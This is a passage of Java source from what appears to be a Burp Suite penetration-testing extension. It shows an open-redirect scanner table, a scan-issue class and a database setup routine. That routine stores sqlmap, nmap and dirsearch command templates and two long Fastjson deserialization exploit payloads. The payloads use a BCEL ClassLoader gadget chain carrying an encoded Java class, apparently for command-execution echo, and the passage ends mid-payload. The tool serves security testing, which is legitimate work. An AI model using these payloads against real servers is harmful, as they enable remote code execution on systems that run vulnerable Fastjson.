String.valueOf(responseInfo.getStatusCode()), isVulnerable, Utils.callbacks.saveBuffersToTempFiles(response) )); urlTable.updateUI(); } } } } } @Override public JPanel getPanel(IBurpExtenderCallbacks callbacks) { return mainPanel; } @Override public String getTabName() { return "UrlRedirect"; } @Override public IHttpService getHttpService() { return currentlyDisplayedItem.getHttpService(); } @Override public byte[] getRequest() { return currentlyDisplayedItem.getRequest(); } @Override public byte[] getResponse() { return currentlyDisplayedItem.getResponse(); } @Override public void processHttpMessage(int toolFlag, boolean messageIsRequest, IHttpRequestResponse iHttpRequestResponse) { if (toolFlag == IBurpExtenderCallbacks.TOOL_PROXY && !messageIsRequest) { scan(iHttpRequestResponse); } } private static class RedirectTable extends JTable { public RedirectTable(TableModel model) { super(model); // 设置列宽 getColumnModel().getColumn(0).setMaxWidth(50); // ID列 getColumnModel().getColumn(1).setMaxWidth(80); // 方法列 getColumnModel().getColumn(4).setMaxWidth(80); // 状态码列 } @Override public void changeSelection(int row, int col, boolean toggle, boolean extend) { // 如果表格已排序,需要将视图索引转换为模型索引 int modelRow = row; if (getRowSorter() != null) { modelRow = convertRowIndexToModel(row); } RedirectEntry entry = redirectLog.get(modelRow); // 更新请求响应查看器 requestViewer.setMessage(entry.requestResponse.getRequest(), true); responseViewer.setMessage(entry.requestResponse.getResponse(), false); currentlyDisplayedItem = entry.requestResponse; super.changeSelection(row, col, toggle, extend); } } private static class RedirectModel extends AbstractTableModel { // 将COLUMNS修改为包含是否存在漏洞的列 private final String[] COLUMNS = {"#", "Method", "URL", I18nUtils.get("redirect.label.parameter"), "Status Code", "Vulnerable"}; @Override public int getRowCount() { return redirectLog.size(); } @Override public int getColumnCount() { return COLUMNS.length; } @Override public Object getValueAt(int rowIndex, int columnIndex) { RedirectEntry entry = redirectLog.get(rowIndex); switch (columnIndex) { case 0: return entry.id; case 1: return entry.method; case 2: return entry.url; case 3: return entry.parameter; case 4: return entry.statusCode; case 5: return entry.isVulnerable ? I18nUtils.get("redirect.value.yes") : I18nUtils.get("redirect.value.no"); default: return null; } } @Override public String getColumnName(int column) { return COLUMNS[column]; } @Override public Class getColumnClass(int column) { if (column == 0) { return Integer.class; } return super.getColumnClass(column); } } private static class RedirectEntry { private final int id; // 记录ID private final String method; // HTTP方法 private final String url; // URL private final String parameter; // 参数 private final String statusCode; // 状态码 private final boolean isVulnerable;// 是否存在漏洞 private final IHttpRequestResponse requestResponse; // 请求响应对象 public RedirectEntry(int id, String method, String url, String parameter, String statusCode, boolean isVulnerable, IHttpRequestResponse requestResponse) { this.id = id; this.method = method; this.url = url; this.parameter = parameter; this.statusCode = statusCode; this.isVulnerable = isVulnerable; this.requestResponse = requestResponse; } } } ================================================ FILE: src/main/java/burp/utils/CustomScanIssue.java ================================================ package burp.utils; import burp.IHttpRequestResponse; import burp.IHttpService; import burp.IScanIssue; import java.net.URL; /** * @Author Xm17 * @Date 2024-06-23 9:57 */ public class CustomScanIssue implements IScanIssue { private IHttpService httpService; private URL url; private IHttpRequestResponse[] httpMessages; private String name; private String detail; private String severity; private String confidence; public CustomScanIssue(IHttpService httpService, URL url, IHttpRequestResponse[] httpMessages, String name, String detail, String severity, String confidence) { this.httpService = httpService; this.url = url; this.httpMessages = httpMessages; this.name = name; this.detail = detail; this.severity = severity; this.confidence = confidence; } @Override public URL getUrl() { return url; } @Override public String getIssueName() { return name; } @Override public int getIssueType() { return 0; } @Override public String getSeverity() { return severity; } @Override public String getConfidence() { return confidence; } @Override public String getIssueBackground() { return ""; } @Override public String getRemediationBackground() { return ""; } @Override public String getIssueDetail() { return detail; } @Override public String getRemediationDetail() { return ""; } @Override public IHttpRequestResponse[] getHttpMessages() { return httpMessages; } @Override public IHttpService getHttpService() { return httpService; } } ================================================ FILE: src/main/java/burp/utils/DbUtils.java ================================================ package burp.utils; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths; import java.sql.*; import java.util.ArrayList; import java.util.List; public class DbUtils { public static String DB_NAME = "gatherburp.db"; public static String PROJECT_PATH = System.getProperty("user.home") + "/.gather/"; public static String DB_PATH = System.getProperty("user.home") + "/.gather/" + DB_NAME; public static String DB_URL = "jdbc:sqlite:" + DB_PATH; public static String DB_DRIVER = "org.sqlite.JDBC"; static { try { Class.forName(DB_DRIVER); } catch (ClassNotFoundException e) { Utils.stderr.println(e.getMessage()); } // 判断文件夹是否存在 若不存在则先创建 Path path = Paths.get(PROJECT_PATH); if (!Files.exists(path)) { try { Files.createDirectories(path); Utils.stdout.println("init filepath success"); } catch (Exception e) { Utils.stderr.println("创建文件夹失败"); } // 创建数据库 create(); } } public static Connection getConnection() throws SQLException { return DriverManager.getConnection(DB_URL); } // 如果数据库不存在,创建数据库 public static void create() { // 判断数据库是否存在 try { Connection connection = DriverManager.getConnection(DB_URL); List sqls = new ArrayList<>(); // config table sqls.add("CREATE TABLE IF NOT EXISTS 'config' ('id' INTEGER, 'module' TEXT, 'type' TEXT, 'value' TEXT, PRIMARY KEY ('id'), UNIQUE ('type' ASC))"); // domain_configs table sqls.add("CREATE TABLE IF NOT EXISTS 'domain_configs' ('id' INTEGER PRIMARY KEY AUTOINCREMENT, 'project_id' INTEGER NOT NULL, 'domain' TEXT NOT NULL, 'create_time' DATETIME NOT NULL, FOREIGN KEY ('project_id') REFERENCES 'projects' ('id') ON DELETE NO ACTION ON UPDATE NO ACTION)"); // domain_results table sqls.add("CREATE TABLE IF NOT EXISTS 'domain_results' ('id' INTEGER PRIMARY KEY AUTOINCREMENT, 'project_id' INTEGER NOT NULL, 'domain' TEXT NOT NULL, 'ip' TEXT, 'create_time' DATETIME NOT NULL, FOREIGN KEY ('project_id') REFERENCES 'projects' ('id') ON DELETE NO ACTION ON UPDATE NO ACTION)"); // fastjson table sqls.add("CREATE TABLE IF NOT EXISTS 'fastjson' ('id' INTEGER, 'type' TEXT, 'url' TEXT, PRIMARY KEY ('id'))"); // log4j table sqls.add("CREATE TABLE IF NOT EXISTS 'log4j' ('id' INTEGER, 'type' TEXT, 'value' TEXT, PRIMARY KEY ('id'))"); // perm table sqls.add("CREATE TABLE IF NOT EXISTS 'perm' ('id' INTEGER, 'type' TEXT, 'value' TEXT, PRIMARY KEY ('id'))"); // projects table sqls.add("CREATE TABLE IF NOT EXISTS 'projects' ('id' INTEGER PRIMARY KEY AUTOINCREMENT, 'name' TEXT NOT NULL, 'create_time' DATETIME NOT NULL)"); // route table sqls.add("CREATE TABLE IF NOT EXISTS 'route' ('id' INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, 'enable' INTEGER, 'name' TEXT, 'path' TEXT, 'express' TEXT)"); // sqli table sqls.add("CREATE TABLE IF NOT EXISTS 'sqli' ('id' INTEGER, 'type' TEXT, 'value' TEXT, PRIMARY KEY ('id'))"); // url_results table sqls.add("CREATE TABLE IF NOT EXISTS 'url_results' ('id' INTEGER PRIMARY KEY AUTOINCREMENT, 'project_id' INTEGER NOT NULL, 'url' TEXT NOT NULL, 'create_time' DATETIME NOT NULL, FOREIGN KEY ('project_id') REFERENCES 'projects' ('id') ON DELETE NO ACTION ON UPDATE NO ACTION)"); // Create indexes sqls.add("CREATE INDEX IF NOT EXISTS 'idx_domain_configs_project_id' ON 'domain_configs' ('project_id' ASC)"); sqls.add("CREATE UNIQUE INDEX IF NOT EXISTS 'idx_domain_configs_unique' ON 'domain_configs' ('project_id' ASC, 'domain' ASC)"); sqls.add("CREATE INDEX IF NOT EXISTS 'idx_domain_results_project_id' ON 'domain_results' ('project_id' ASC)"); sqls.add("CREATE UNIQUE INDEX IF NOT EXISTS 'idx_domain_results_unique' ON 'domain_results' ('project_id' ASC, 'domain' ASC)"); sqls.add("CREATE INDEX IF NOT EXISTS 'idx_url_results_project_id' ON 'url_results' ('project_id' ASC)"); sqls.add("CREATE UNIQUE INDEX IF NOT EXISTS 'idx_url_results_unique' ON 'url_results' ('project_id' ASC, 'url' ASC)"); // Insert data sqls.add("INSERT INTO 'config' VALUES (1, 'config', 'ip', '1.1.1.1')"); sqls.add("INSERT INTO 'config' VALUES (2, 'tool', 'sqlmap', 'python E:\\me\\tools\\sql\\sqlmap\\sqlmap.py -r {request} --batch')"); sqls.add("INSERT INTO 'config' VALUES (3, 'tool', 'sqlmapmssql', 'python E:\\me\\tools\\sql\\sqlmap\\sqlmap.py -r {request} --dbms mssql --risk 3 --batch')"); sqls.add("INSERT INTO 'config' VALUES (5, 'tool', 'nmap', 'nmap {host} -sC -sV ')"); sqls.add("INSERT INTO 'config' VALUES (6, 'tool', 'dirsearch', 'python E:\\me\\tools\\scan\\dir\\dirsearch\\dirsearch.py -u {url}')"); sqls.add("INSERT INTO 'config' VALUES (9, 'config', 'dnslog', 'xx.dnslog.cn')"); // Insert fastjson data (adding only first few for brevity - add more as needed) sqls.add("INSERT INTO \"fastjson\" VALUES (7, 'echo', '{\"xx\":{{\"@\\x74ype\":\"com.alibaba.fastjson.JSONObject\",\"name\":{\"@\\x74ype\":\"java.lang.Class\",\"val\":\"org.apache.ibatis.datasource.unpooled.UnpooledDataSources\"},\"c\":{\"@\\x74ype\":\"org.apache.ibatis.datasource.unpooled.UnpooledDataSource\",\"key\":{\"@\\x74ype\":\"java.lang.Class\",\"val\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driverClassLoader\":{\"@\\x74ype\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driver\":\"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$a5W$Jx$5cU$V$fe$efd2$efe$f2$b2M$9b4C$e9$be$a5$d9$86$96$a6$cb$a4$zm$d2$94$86$siiJKZT$5e$s$af$c9$b4$93y$e9$cc$9b$a6$c5$N$F7DQT$a0$80$a8h$8d$a0$o$ad8i$J$b4E$a5$mu$D$c5$NW$QTD$U7$E$a5$f1$bf$ef$cd$q$99d$da$fa$7df$b9$db9$f7l$f7$9c$ff$de$f7$c4$99$H$8f$DX$o$d6z$e1$c5$n$V$9f$f7$c2$83$B$d9$7cA$c5$3d$K$eeU$d0$97$87$7c$7cQ$$$7dI$c1$97$V$dc$e7$e5$fc$x$5e$dc$8f$c3r$d3$R$V_$95$c4$H$U$7cMER$c5$a0$82$a3r$e1$98$82$He$3f$e4E$Z$k$f2$e2a$i$97$cd$J$F$t$bd$98$8aC$K$k$f1b$g$Oy$f1u$7cC6$dfT$f1$a8$XW$e1$94$82$db$e4$fc1$V$8f$7bQ$87o$a9xB$c5i$F$dfV$f1$j$V$dfU$f1$3d$F$dfW$f1$a4$82$a7$f2$R$c0$Pd$f3C$VO$ab$f8$91$8a$l$x$f8$89$8a$9f$ca$8d$3fS$f1$8c$X$3f$c7$_$e4$e4$97$w$7e$a5$e2$d7$w$7e$a3$e2Y$V$cfy$f1$5b$3c$_$9b$X$bc$f8$j$7e$af$e0$P$K$5eT$f1G$_$d6$e1$r$_$g$f1$t$F$_$7b$b1A$g$d8$88$3f$cb$d1_T$bc$a2$e2$af$w$fe$s$F$3e$q$97$fe$ae$e0$l$K$fe$e9$c5$W$bc$w$9b$7fyq9$5eS$f1$ba$ec$ff$z$9b$ffH$de7$a4_gT$M$x$C$C$9e$95$e1h$d8Z$z$90S$b1p$9b$80$bb$d1$ec2$E$8aZ$c2Q$a3$z$d1$dbi$c4$b6$ea$9d$R$ae$f8Z$cc$90$k$d9$a6$c7$c2r$9eZt$5b$3d$e1$b8$c0$b4$96$90$d9$h$d8$a5$c7$ad$ddq3$g$d8$97$88$E$b6$9a$bd$n$ddj$K$f5$98$f5$Cy$fd$b1$b0e4$98$5d$H$E$a6T$b4$ec$d6$f7$e9$81$88$k$ed$Ol$ea$dcm$84$ac$fa$9d$N$b6$ea$7dzl$b1T4$81$ee$d0$$$W$u$ZCk$8c$e8$f1x$8aT$t0$7b$3c$a9$cd$b4$d6$9b$89hW$d3$fe$90$d1g$85$cdh$8aw$a9$c0$ac1$bcmf$7b$o$d4$d3jX$3d$e6$E$d6$8b$9cn$91$80kg$83$40A$bb$a5$87$f6$b4$ea$7d$b6$f7L1$s$97$9d$85$f7$KxG$f62$k$c5$8e$b8$cdzL$ef5$y$p$c6$a5$dcn$c3ZO$t$97gq$7f$ccJ$bb$V$LG$bb$eb$Xf$8b$c1$cc$JV$af$P$h$91$M$a3$7d$TE$J$f8$c7$y$c6$8c$5d$RJ$L$d8$3b$eb$V$nX$X$C$ea$caP$q$95$F$b9$d2_$3a$5c$3af$d3X$N9$a1$de$ae$U$X$cfj$d2$cel$K$5d$e1$e8$88$80$b0$Zh$8e$f6$r$y$S$N$bdW$S$3bc$C$e5$p$c4$86$c4$ae$5dF$cc$e8$dab$e8$5dFL$c6$9d$960$b3$5c$f1$ceL$cb$j$e9$N$89p$q$c5G$T$96$3b$dd$K$a7$5b$c6tnf$f0$9dM$J$x$i$J$b4$84$e3$e9$ecY$92$Z$9d$ad$3d$b4$a7$8b4$c5$88$86$98$f2$b6Q$f1D4$d0$h$8e$87$C$Nk$db$9b$96$$ir$u$92$a9$cb8$h$d3$3a$p$cd$qv$8c$LHJ$H1$86$f0$a2$I$X$c1$80XA$a0Pp$bd$or$ec$w$7f$99$a9$d3n$sb$nc$7dXVT$d1h$e1$d4JI$g$de$847$L$cc5c$dd$b5z$9f$k$ea1j$z$9b$a3V$3aX$db$99$d8U$dbp$c02$g$7b$S$d1$3d$9ap$8b$5cMx$E$L$5b$8d$h$96$q0$f5$8a$c6$V$86$sT$845$91$t$bc$M$d6$f8$3cc$8d$8d$$5G$z$a3$db$88$d1$G$91$af$IM$T$F$a2P$TE$a2XF$c4$dc$$$8bZ$T$rR$ce$cc$f3$V$lC$pYj$a3a$d36$d89w$kM$7fL$ef$T$98q$9e$82$d4$84OL$S$98$7e$ee$K$d0$c4dQ$y$ad$zefk$a2LL$d1D$b9$f0$L$94e$3f$d9$89$84$d4i$f2$b04q$81$98$aa$89$L$c54$3ak$d9$t$Z$d7$b0$l$H41$5d$cc$a0$e1$c6$7e$p$a4$89$99b$W$c7$3d$96E$t$3c$96$kc$993$d1F$cd$dc$92$88F$j$ac$f4H$ac$9cKHQz$f4hWDj$f7tG$ccN$3d$92$8a$cd$b8bcb$f4$c5$cc$90$R$8f$9b$S$40$K3$b3Z$T$b3$c5$i$e9$dd$5c$d6d$cc$d8$x$90O$d5$5b$8cx$l$R$88$da$f28$db$60$d7T$c6$n$3bU$q$a0$ad$NI55$8d2$a341O$cc$a7$5df$bc6J$c0R$c4$CMT$88$85$9a$a8$94$8ez$fa$c3$d1$$$b3$9ft$96$7e$z$bdfq$GB$9c$G$3a$c3$d1$40$bc$87$d3$9a$90$o$aa4Q$zj4$3c$$j$V$R$d0$c4E$82$uR$96$bd$ccY$d9Y$c0$nM$cb$b9$b4a$a3$3c$c4$c5$b2$n$e8O9$L$Ihb$89$98$a1$89$3aAD$979$98$a7wu$a5$5d$d6$gM$e6n$d4$aa$d1$TV$8f$s$96IGJF$p$d8$k$d2$a3Q$bb$9cGeov$82$9d$WN$dd$cb5$b1B$E$e5H$e2$d6Uk5$b1R$ac$d2$c4j$a9$f5$S$b1FC$Xd$a4Yi$bc$Y$ac$E$Pi$ea9$ee$c1$MG2p8$e3$84$i$d0H$a7Df$84$Y$f4$5df$ac$8dg$q0$af$e2$dc$d7F$faz$cc$8f$g$fd$cd$d1$b8$a5GC$dc5$b9$o$eb$d5$e2$de$da$b1$b9$89$Rb$d2$b0$C$o$3aO$ca$v$40$815Y$f4$ec$9c$a0ga$96$3b$c6$91$m$a5W4$cb$fb$bd$fcl$y$cc$b1pt$9f$b9$87$f6$ad$c8$f6$3a$98$b8$94$d5$J$95$d6$db$d60x$V$d9B$nk$o$ad$b1x$8c$ab$a9C$a89OD3$efN$3e$H$u$a2$3d$d1g$c4B$8e$d2$d2l$fb$e9w$B$TD$96$5b$3c$kv$kM$V$3b$e4r$8e$N$V$f3$b38$9c$d5$bb$82P$o$WcF$a7$f3$p$f3$qG$ae$b3BJu$s$97$c6$cc$EA$c9$9f$85$cf$s$c9k$8d$ccN6eJ$h$b9$c9$d5$Q$cbH$P$cb7$cd$d4$b1$866$f6$e8$b1vco$82w$a7Q$bf$90$f7$9e$3b$k$be$c6$b0$df$90$cd2$Q$cdY$5dP$c2$f1$a6$de$3e$eb$80$cd$b7$p$T$97$O$c4$z$a3$d7$B1$W$o$83$w$d9$e6$9f$e7DF$ec$cc$b7$cc$W$b3$df$885$ea$S$fb$c6$dc$60$84_$x$y$j$f4JtLOJ3$bcM$zSLEE$96$f7$ccX$d6$UF$d4g$e8H$z$3a$b1$cf$a8$d6$vi$3d$T$5eA$95$VY$J$d9$Th$d2$us$ea$99$qWUy$92$z$f6c$c9$a3$f7$f5$Z$d1$ff$n$85$c7$3f$a2T$cbL$df$IeY$7d$a7$9e$5cbG$cc$g$l$b4$d1H$94gwEn$d5$Sqc$9d$R$J$f7$f2$a1$40$b0$5dpv$eb$c6$a2$b2D$8c$a8$b1$dfr$w$3a$f5$88qW$y$dc$d9$80Y$fcr$f1B$fe$b8$f9$e9$c2$97$R$db$b7pv1$e4$a7$M$90$5b9$Iq$98$D$X$aef$ebe$P$U$90$b9$Q$3aG$9a$c3$84N$84l$w$f1$h9R$80x$8e$9f$91$b9$5c$7b$dd$e7$3a$8a$9c$b6$9a$q$dc$ad5$be$5c$cf$c3$f0t$e4$f8$94$f6$O$f7$R$a8$ed$j$b9$b2M$o$af$3a$f7ax$3br$aa$b8$ee$8c$86$90$df$913$I$8d$LrXu$5c$8e$c9Y$b0$bd2$89B_$91$db$WT$c3$95$e2J$b7$bd$a3$da$a6$O$e0$86$a0$db$e7$b3u$fa$s$b9$d3$ea$a8$a2$c6$9dRA$b6$d6$f3$Ji$fa$ff$85$i$b6ce$o$86$S$bb$l$c4d$c6FFq5$8a$d8N$e6$d7s$v$a3T$c6$cf$c8$v$a4$cf$qg9$y$f8q$N$$$c0$z$fc$88$7e$80k$83$b8$Q$c7$f8$n$7d$C$d3$f1$Mf$e05$cc$b6$p$bf$L$f2C$bd$9b$7d7$f5x$QA$P$c2$94oa$Nvc$PO$e8$W$k$aeC$bd$G$abR$d4c$a4F$d0K$wO$GQRa$8fL$f4$f1$q$a5$7cg$c7$J$d4$a7v$ec$r$7d$Kr$5eELA$ecU$acS$Q$7f$Dk$VX$K$S$d8$97$ca$9b$g$f4s$94$e7$a2D$e9$a9$cc$E$be$eb$9cL$c0$d3$ece$s$y$Xv$c0$YQ$ef$n$94$d5T$rQ$da$3a$80$82$a0$9b$b91$a5m$60$f8$c5$ea$c7$a0$N$a1$ac$a3j$Q$e5$t$aa$ddI$f8$ab$b9$e1$82$fb$a9$a0$A$93$Y$a7$b2T$fc$W3$ef$80y$b4s$3e$UT$90ZIz$V$e9$d5$8c$60$N$a3U$cb$c8$z$c2$5cr$d6$60$J$db$3a$3bfKhG9$ffw3$o2$C$cbG$o$b0$9cV$bf$95z$5cX$ca$I$bc$8d$bd$c2$fd$a3$R$u$81$fb$N$u$K$deN$af$db$U$bc$pO$3b$bb$ef$w$de$99$$$p$f7$j$9c$f9X$3c$X$Naj$H$8fr$e3$Q$a6$b1$9f$de$92$b3$ea$uf$q1$d37$eb$uf$9f$c4$i$e7$af$zg$a9$bb$d4$5ds$fcn$f1FM$a9$7bq0$d7$9f$7bJ$bc$e4$cfMbn$d0$e3$f7$f8$e6$r1$ffv$f1$MG$L8$3a$u$9e$f4$e7$fa$w$u$m$a8$f8$95G$b0$f0$a08$e9W$7c$95$5c$f0U$c9$a6$da$s$N$40$N$aa$D$e2$QI$b5$b6$b2$40P$cdY$9aW$9a$e7W$8f$81$af$e7$bb$c5u$7e$b54$ef$Y$W$b9$Q$f4$fa$bd$be$c5$v$892$bb$_$ceav3$b3$fd$K$H$5e$a6u0$df$n$yIUE$5d$bbMu$S$df$b7Tf$feI$d4IkO$89$e9$7en$5dv$bb$us$af$f2$7b$82$9ao$f9Q$acH$o$e8$ab$97$c6$c3O$y$a8$e3$9e$95$yq$df$wB$81_k$l$40Yju$b5$5c$bd$c4Y$N$W$i$c5$g$7fA$Sk$93h$I$W$O$a1$b1c$I$eb$3a$fc$85$be$a6A$ac$l$c4$a5$c1$o$R$y$k$c2$G$86$b69X$e2$_J$e2$b2$8e$60$f1$v$94$f9K$fc$c5Il$dc$ee$_$f1$b5$c8$7e$60$f8y$7f$be4$bf57m$3e$d58$3e$e4$a7$81$a7$ae$c3$d76$88M$a4$f8K$92$d8l$X$b3_$Z$c2$e5$d4$ba$a5$c3_0$I$$m$a5$v$83$b8$c2$b7$z$89$edI$5c$99D$c7Q$ecpB$b3$d3$J$8d$83l$p$b1$91$uV$82$c7$r$8cI$81$X$k$84g$Ay$d7$e7$89$813$fd$e9$89$9b$T$d7$A$dc$h$rv$f40$p$df$c1$f4$82$ab$caU$cb$de$c9$fd$p$ccq$b0$3aU$acD1$eb$daG4Y$c0$aa$5e$84$b5X$86$G$ae6$f2w$j$b6$a3$89$fc$eb$ve$D$e5l$a4$a4f$5c$8b$cbp$jZq$T6$e1$$l$c6$3dD$9e$p$d8$82$d3h$c7$x$d8$8a3$b8$82p$beM$b8$b1$5d$5c$82$xE$L$3a$c4$d5$d8$nB$d8$v$o$b8J$f4$f3$e1$ce$dc$W7$40$X$t$R$S$_$a0$cbU$82$3d$aeRD$5c$e5$d8$e4$9a$8e$3e$d7l$ecu$cd$c3$gW$V$f6$d3$ea$7eW$80$b5$sk$ef$q$x$f4Z$fap$z$de$F$95$9f$d5$Fx7$ed$e2$b3$lO$d1$a6$ebQ$40m$8f$e2$3dx$_$K$a9$f30$de$87$f7$a3$88$9a$ef$c3$H$c8WL$fd$87p$D$3e$c8J$bcG$98$b8$91u$eb$c5i$d1$8a$Pq$94$8f$9b$c5$8d$f80$fd$ca$c3M$e2$W$o$dcG$Y$9f$ab$c5$a3$ac$f4nVr$a3x$W$l$a5$U$P$96$89$97$Z$91$9b$89$B$95$$$c1J$bf$89$r$ac$ba$e6$e0c$f88m$yvM$c5$t$88$9b$fc$det$f9Y$cf$b7$f2$U$W$b8$dc$ac$ea$dbR8p$gE$c3$E$9b$5c$F$H$V$dc$$$U$cca$c0$86$Z$3eu$cc$8a$82$3b$U$dcI$88$E$87$9f$qp$U$w$b8K$9c$c1$ad6j$f2$ef$ce$z$K$3e5L$90$f2e$db$r$99G8$c9$a8$e0$d3$K$3ec$8f$ef$G$a6$N3D$da$b9$f7$81$b7$84$e7u$e4$O$d3$e3$f1$a6J$qF$D$ed$e2$j$8d$cf$da$X$fb$e7$fe$L$e1K$Q$9a$u$W$A$A\"}}:\"xxx\"}}');"); sqls.add("INSERT INTO \"fastjson\" VALUES (8, 'echo', '{\"xx\":{{\"@\\x74ype\":\"com.alibaba.fastjson.JSONObject\",\"name\":{\"@\\x74ype\":\"java.lang.Class\",\"val\":\"org.apache.ibatis.datasource.unpooled.UnpooledDataSources\"},\"c\":{\"@\\x74ype\":\"org.apache.ibatis.datasource.unpooled.UnpooledDataSource\",\"key\":{\"@\\x74ype\":\"java.lang.Class\",\"val\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driverClassLoader\":{\"@\\x74ype\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driver\":\"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$5bx$U$d5$j$ff$9d$ece$ceN$s$d9$cd$G$84$nb$X$E$dc$40$b2$x$a8E6$U$81$I$EY$a2$cd$oi$a0$z$9d$9dL$b2$D$bb3$eb$ccl$I$b4U$dbz$a9m$d5$5e$b5$da$8b$d5$5e$a8$8aU$7b$d9$a0$U$ab$3e$f4$a1o$7e_$_O$7d$ec$a3O$fa$e4$d7$af$f8$3f$3b$b3$q$9b$5d$L$f96g$fe$f3$bf$9d$df$ffv$ce$fc$ed$7fo$be$F$e0V$bc$x$p$G$5d$c64$M$b1$ccp$cc$ca$u$c1$e48$v$e1$94$M$Je$J$V$Z$Wl$8e$w$c7$7d$i$O$87$cb$b1O$82$t$c45$8e9$8e$fd$i$a79$O$I$bdy$8e3$ige$7c$Z_$91$91$c0W9$ee$X$cf$H8$c68$k$e4$f8$g$c7$d7e$7c$D$P$89$e5a$Z$8f$e0Q$J$df$94$f0$Y$c7$b7dl$c4$b7el$c0w$q$3c$$cP$40$db$80$t$E$f5$q$c7w9$be$t$c8$ef$L$d0$3f$e0$f8$n$c7$8f8$9e$e2xZ$c2$8f$r$3c$c3$Q$ddiZ$a6$b7$8b$n$94$k$3c$ca$Q$k$b5$a7$N$86x$de$b4$8c$f1Z$a5h8G$b4b$998$c9$bc$adk$e5$a3$9ac$8a$f7$80$c9t$86$be$fcImN$cb$965k6$3bZ$d6$5cw$84$f8$V$865K$f8$8e1S6t$_$7b$d8$f0J$f6$b4P$b0$85$c7E$85$bb$8b$tIN$82$ae$caV$C$e1$Yn$95$Q9$c6$7d$M$b1Y$c3$h3$b4i$c3$n$da$5dB$T$7f$d21$3dA$87$f4$cat$ab$c3$82$e7$98$d6$y9$e4$ba$5d$a9h$d6$b4$cb$d0$7f$bc$93B$97i1$ac$f4$r$a6$9d$3dhUk$k$J$N$ad$o$84E$f2$be$fa$8apomf$c6p$8c$e9$89$G$G$92$87$cb$94$tRs$8b$Mj$9b$f7$bd5$b3$ec$ebEO$HH$c3$5e$c9$q$u$eb$f3$E$x$3b$a3$b9$deI$d7$b6$b2s$b5r$b6P$V$s$fb$f4$92$7d$c23$5c$91$8b$9e$82$a7$e9$a7$Ok$d5F$b6$a9Z$d4_$S$9e$a5$ee$a2N$92pH$c2O$gm$f08$d5$92A$$$d85G7$f6$9b$a20$x$96y$cb$Ih$K$b6$e3v$J$3fU$f03$fc$5c$c1s$f8$F$c3N$db$99$cd$b8$N$e5$ZG$ab$Y$a7m$e7T$e6$b4Q$cc$e8$b6$e5$Z$f3$5e$86jP$T$O$s$fc$e7$a8$cf$k$b3E$60$S$9eW$f0$C$7eI$fbQ1$C$8d$3d$k$c5$5e$ac$d1$ae$d4F$cbZC$c1$af$f0k$86$c4$f2$c2ST$K$7e$83s$M$bb$af$VO$c1p$e6$ca$j7$edn$60q$ab$b6$e5R$s$e4Ed$M$h$c5$c6$f3$Z$d7$b7$cd$94$3c$af$9a$Z$a3$a5$d5Y$L$40$bf$92$K$7e$x$80o$ba$9a$7ds$d7$b5$ad$8a$cb$e4$K$5e$c4K$M$ca$k$5d7$aa$de$f0$a8$a6$97$c8F$b2$dd$8cE$nKxY$c1y$bc$a2$e0wx$95z$7b$f2$e0$b8$82$d7$f0$3a$b5Y$96$e6M$ca$WM$x$eb$96$e8uX$97$f0$7b$F$7f$c0$l$V$fc$Ju$J$L$K$$$e0$N$86$eb$3a7$y$f5h$876o$caB$H$f6$k$S$z$f2$a6X$$2$ac$fa$84vV$f0g$bc$aa$e0$S$de$a29$96$v$8cFOX$de$b0V$f3J$K$fe$o$84o$e3$jB$w$ca$e8$95i$bcr$86$e3$d8$ce$d0$R$ea$fd$94V$ad$96M$5d$f3L$dbJ$9547e$d9$vc$5e$b0L$_U$n$nm$94$9a$b1$9dT$b6a$93a$88$cc$94k$o$dc$88$5e$b6En$fb$Xq$ed$9b$X$J$qO$M$a9$ab$N$U$cd$f1$t$jHM$9f$adyii$83$p$rb$91b$8f$5es$i$K$b6$f9$be$o$3d$98_$aeE$a3$bb$92$ba$$$Y$95F$e3$e7$ed$m$ff$z$eaKD$c2$a6$a3$80$O$ba2$R$N$O5p$ba$fd$Ik$f38$e2$l$8e$cd$d8vw$b09$def3$f8$ff$8e$eb$a8i$cd$d9$a7$u$f7$3b$d2$ed$87$f6$f1v$d6$60$a7$a3$bd$8f0$ddi$e8e$8d$fa$b1$89$ad$87$Ot1$F$aek6$$$94p$fa$98$b8$85$96$ce$df$Z$d73$w$feT$df$e3$d8U$c3$f1$ce$d0$m$5e$r$PWN$f7n$cf$be$b7JF$a3$9ah$9d$d6j$z$bd$p$yO3$zJ$f0$c0R$c7$a3$r$cd$v$883$c1$d2$8d$91$c1c$U$c2$a2l$a2fyf$a5y$c04_V$b6l$Q$b0$c5$3da$cc$h4$bb$e9t$87$xh$a9$FE$u$921$d2$b2U$c0d$e8$a5$adZ$gtUs$bb$b6$8bks$ba$a3$a0$c3$ee$94$ee$feE$e5$e0f$T$5c$$z9$df$b8$df$a24$97$86E$f5$g$be$a6$bc$_$de$7b$dc$b3$7d$W$91b$q$fc$$$eeo$9f$82$R$ac$c3$a7$e9$hE$fc$d1$b1$on$wZw$A$a1$3a$a2$e8$p$e6$3f7$_$80$5d$40W$j$a1d$b8$8eH$7eK2$g$ba$E$a9$O$7ex$88$R$V$abC$k$P$U$ba$7d$F$a5$a9$b0$r$d9$T$90$b9$f0$d0p$a0$9c$8b$a8$e1$xt4$b0$ec$r$cbd$3cL$caS$a1d$a2PG_N$KDI$n$ea$8f4ES$e1$40$ce$D$f9$K$n_$e9$ef$d3$97$8b$a91$82y$9d$ca$h$ab$e4$afj$94$3c$c7$c8$7c$VY$cao$p$91$93$a3$97h$edN$ae$be$A$b5$8e5$c9$81$3a$ae$7f$GI$b5$3b$94$5c$5bP$bb$c3$c9$h$K$e7$Q$X$af$9fj$bc$a6h$8d$a8r$e1$C$d6$a9$U$e5$fa$3an$cc$v$X$b1a$ea$o6N$a9Jr$d3$CnZ$40$3a$d7$c3r$bd$X18$b5$80$cd$b9$b8$daS$c7$96$a9$5c$ef_$JC$5c$a5$Q$87$s$d5xrX$3c$cf$5d$fe$8f$ca$d5H$c4$87$95$a1$a8$d4x$jY$BoR$8d$a9$91f$7e$Sj$a2$8e$9b$93$5b$97fFM$E$d1l$f3$d5$h$g$b7$E$JP$T$81i$c0$bf$b5$8d$7f$O$e1$fc$ebT$e50$7b$8f$fd$j$b7$n$84$iU$ffYl$a25$860z$e8$h$b8$